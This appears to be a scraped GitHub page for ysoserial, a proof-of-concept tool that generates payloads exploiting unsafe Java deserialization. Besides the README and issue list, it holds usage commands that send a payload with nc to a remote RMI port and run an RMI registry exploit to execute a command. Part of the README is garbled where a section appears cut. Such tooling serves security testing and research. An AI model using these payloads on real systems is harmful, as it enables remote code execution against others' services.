frohoff /ysoserial
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
★ 9,102⑂ 1,850👁 214⑃ 119● 107▤ 1
+0
日增长
9,102
stars
1,850
forks
214
watchers
119
prs
107
issues
1
releases
README
ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. !logo Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE groovypayload.bin $ nc 10.10.10.10 1099 < groovypayload.bin $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe Installation Download the latest release jar from GitHub releases. Building Requires Java 1.7+ and Maven 3.x+ mvn clean package -DskipTests Code Status Contributing 1. Fork it 2. Create your feature branch (git checkout -b my-new-feature) 3. Commit your changes (git commit -am 'Add some feature') 4. Push to the branch (git push origin my-new-feature) 5. Create new Pull Request See Also Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc. marshalsec: similar project for various Java deserialization formats/libraries ysoserial.net: similar project for .NET deserialization
Top issues
#10Support dependency isolation and/or conflicting versions9 comments · 2016-02-24#71change Runtime exec(String) to exec(String[])6 comments · 2017-09-02#54[Enhancement] TemplatesImpl gadget for IBM Java5 comments · 2016-07-28#23CLI improvements3 comments · 2016-03-08#229Workaround for compilation failure and other Java versions2 comments · 2024-10-22#122Getting Error With Build Failure in ysoserial - 0.0.42 comments · 2019-06-20#233Spring1 does not work with the current version1 comments · 2025-02-09#230My own ignorance stuck can someone step-by-step my issues with ysoserial?1 comments · 2024-11-15
Discussions
#224A tool for fuzzing the right payload2 comments · 2024-04-01#185Welcome to ysoserial Discussions!0 comments · 2022-06-22